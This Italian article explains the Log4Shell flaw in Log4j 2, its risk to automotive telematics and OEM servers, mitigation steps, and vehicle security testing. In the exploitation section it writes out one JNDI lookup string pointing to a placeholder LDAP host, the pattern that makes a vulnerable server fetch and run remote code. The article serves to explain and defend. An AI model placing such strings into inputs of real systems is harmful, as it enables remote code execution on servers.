Un mese fa, Log4Shell (CVE-2021-44228) si è presentata al mondo come una delle vulnerabilità più critiche del 2021. La fonte di questa vulnerabilità è Log4j, una libreria di logging scritta in Java e comunemente usata da una serie di framework piuttosto diffusi, come Elasticsearch, Kafka e Flink, i quali sono alla base di molti siti web e servizi in uso presso il settore automobilistico.
La versione colpita è Apache Log4j 2 nelle release dalla 2.0 alla 2.14.1.
Vulnerability management, questo sconosciuto: cosa ci insegna il caso Log4j
Indice degli argomenti
Come viene sfruttata la vulnerabilità Log4Shell
Poiché le librerie di logging normalmente non fanno altro che scrivere messaggi in un file di log o in un database, noi le consideriamo passive. Ciononostante, la libreria Log4j è in grado di elaborare le stringhe prima di salvarle in un file di log: in questo modo, l’espressione log.info(“${user.username}”) registrerà l’effettivo nome utente dell’utente corrente.
Le informazioni dinamiche richieste per la registrazione possono essere recuperate localmente o da una macchina remota. Log4j impiega Java Naming and Directory Interface (JNDI) per le ricerche remote utilizzando diversi servizi e protocolli, quali LDAP, DNS e RMI.
In particolare, la ricerca di JNDI combinata con il protocollo LDAP recupererà una classe Java specificata da una fonte remota e la deserializzerà allo scopo di eseguire una parte del codice della classe.
In altre parole, se una parte qualsiasi di una stringa registrata può essere controllata da remoto da chi esegue l’attacco, costui potrà allora ottenere da remoto l’esecuzione del codice.
Questo problema è sfruttato più spesso da stringhe di sostituzione come questa ${jndi:ldap://somedomain.com}.
Un hacker può farlo inviando richieste HTTP a un server web: il metodo di ricerca scaricherà ed eseguirà il codice classe dannoso sul server LDAP dell’aggressore.
In che modo Log4Shell colpisce l’industria automobilistica
Attraverso i server telematici e gli applicativi back-end degli OEM, i veicoli connessi raccolgono informazioni su ogni dettaglio del loro ciclo di vita. Oltre ai server degli OEM, le comunicazioni del veicolo possono riguardare anche società di aftermarket quali le compagnie assicurative, società di gestione delle flotte e di noleggio veicoli e altre ancora.
È nel punto esatto in cui i veicoli e i server delle aziende hanno canali aperti, che la vulnerabilità Log4Shell può venire sfruttata.
I server che comunicano con i veicoli sono server di applicazioni. Così come molti altri server, questi hanno il compito di leggere e scrivere dati e sono per questo suscettibili di attacchi come quelli di tipo injection.
La vulnerabilità Log4Shell compromette la sicurezza di molti server legati al comparto automobilistico poiché i dati che vengono trasmessi tra veicolo e server vengono raccolti, memorizzati e registrati su più piattaforme per un periodo di tempo significativo. Ne risulta che i dati relativi ai veicoli sono a rischio e così sono le informazioni personali dei clienti o dei log inviati dalla flotta.
Una volta che gli aggressori hanno accesso agli asset aziendali comunicando direttamente con i server dei dati telematici, all’infrastruttura di back-end e ai server interni, possono bypassare molti controlli di sicurezza e andare ad impattare direttamente sui veicoli connessi.
Il 2019 ci ha mostrato come i sistemi interni possano venire colpiti da simili attacchi, così come sia possibile che gli attacchi abbiano origine direttamente dalle interfacce dei veicoli.
Durante questo incidente, l’hacker ha impostato un nickname per la sua Tesla Model 3 che ha fatto sì che il server dell’OEM esponesse informazioni private del veicolo. Ha sfruttato una vulnerabilità cross-site scripting (XSS) nel sistema, che gli ha permesso di ottenere, e presumibilmente modificare, informazioni relative al veicolo: alcuni dati degli applicativi interni della Tesla sono così stati esposti e messi a rischio.
Come mitigare Log4j e fermare gli exploit futuri
Log4j rappresenta una minaccia critica per le aziende, le quali non devono dare mai per scontato il proprio livello di sicurezza. Ogni team di sicurezza dovrebbe quindi lavorare per identificare le vulnerabilità e risolverle velocemente. Per farlo bisogna estendere la ricerca all’intero universo IT, indipendentemente dal fatto che i server usino Windows, Linux o Mac: bisogna cercare tutti i codici Java e capire se usano la libreria Log4j. Ovunque venga trovata Log4j, questa va aggiornata all’ultima versione disponibile (al momento in cui si scrive questo articolo è la 2.17.1).
In alcuni casi, una patch immediata non è possibile. I prodotti assemblati da produttori terzi potrebbero contenere versioni vulnerabili della nota libreria di logging, versioni che consentono agli utenti di aggiornare il prodotto nella sua interezza e non parzialmente, dipendendo in questo modo dagli aggiornamenti di release dei vendor.
La vulnerabilità può essere risolta disabilitando la funzione delle ricerche dei messaggi di JNDI, funzione in uso presso Log4j 2.16.0. Questo si può fare anche eliminando l’intera classe JndiLookup da un pacchetto Log4j interessato.
Migliorare la sicurezza e la protezione dei veicoli connessi
“Dobbiamo sottolineare che più miglioriamo la customer experience, più introduciamo complessità tecniche che portano anche tecnologie ad alto rischio. In effetti, possiamo considerare un veicolo moderno come una rete di computer che si muove su ruote e come qualsiasi altro sistema IT connesso è vulnerabile e se abusato può portare nel peggiore dei casi a conseguenze per la sicurezza”, afferma Gianfranco Vinucci, Chief Operating Officer di PCAutomotive.
Il processo e il requisito tecnico più importante per le aziende coinvolte nella filiera di produzione dell’auto sono valutare sistematicamente rischi e vulnerabilità nelle prime fasi di sviluppo, compresi i requisiti, il concetto, la progettazione e la fase di sviluppo.
Ecco i modi in cui OEM e fornitori possono verificare se il loro prodotto soddisfi i requisiti chiave degli standard di sicurezza pertinenti:
- valutazione della sicurezza dell’applicazione. L’obiettivo principale della valutazione è ottenere informazioni su vulnerabilità, punti deboli e qualità dei meccanismi di sicurezza esistenti nelle applicazioni utilizzate da OEM, fornitori di livello x e qualsiasi fornitore di servizi automobilistici;
- valutazione della sicurezza V2X. Il test V2X viene condotto per identificare problemi di progettazione e possibili difetti di implementazione. Ma altrettanto importante è la modellazione, l’analisi, il test e la valutazione delle minacce alla sicurezza per V2X, sia per proteggere i conducenti che gli occupanti;
- test di penetrazione dei sistemi embedded e aftermarket. Questo tipo di valutazione è una ricerca approfondita sulla sicurezza dei componenti in un ambiente di laboratorio. L’obiettivo è rivelare i difetti di sicurezza, le vulnerabilità e la qualità dei meccanismi e dei controlli di sicurezza del software e dell’hardware;
- test di penetrazione del veicolo. Condotto in un cybergarage, il test di penetrazione del veicolo completo utilizza un approccio black-box che consente di convalidare se le vulnerabilità identificate dall’analisi di un componente specifico possano essere sfruttabili.
- Controllo di conformità. Per consentire alle aziende di garantire il rispetto delle normative di sicurezza informatica vigenti e future. I produttori devono soddisfare i requisiti dei regolamenti UN ECE R155 e R156, e per le loro implementazioni possono fare riferimento allo standard ISO/SAE 21434.
Conclusioni
Riassumendo, vorremmo aggiungere che l’industria si sta allontanando dal genio meccanico per privilegiare l’elettrico.
Da un lato, l’automobile del nostro tempo è un computer che controlla l’attrezzatura tecnologica: il motore e i freni, i fari e gli indicatori di direzione, i tergicristalli e l’aria condizionata e molto altro ancora in futuro.
Dall’altro, mentre i leader dell’automotive competono tra loro per la migliore customer experience, per differenziare i brand e innovare, i professionisti della sicurezza e del rischio combattono per proteggere la complessa infrastruttura dei veicoli.
